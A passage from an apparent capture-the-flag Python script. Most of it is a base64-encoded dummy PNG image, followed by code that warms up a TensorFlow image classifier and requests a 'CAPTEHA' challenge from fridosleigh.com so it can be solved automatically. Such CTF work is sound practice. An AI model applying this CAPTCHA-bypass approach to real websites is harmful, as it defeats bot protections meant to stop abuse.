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', 'uuid': 'b177d2d0-e584-11e9-97c1-309c23aaf0ac'}
    # warmup
    predict_image(queue.Queue(), dummy_img, [], sess, graph, labels, input_operation, output_operation)

    # Creating a session to handle cookies
    s = requests.Session()
    url = "https://fridosleigh.com/"

    json_resp = json.loads(s.get("{}api/capteha/request".format(url)).text)
    b64_images = json_resp['images']                    # A list of dictionaries eaching containing the keys 'base64' and 'uuid'
    challenge_image_type = json_resp['select_type'].split(',')     # The Image types the CAPTEHA Challenge is looking for.
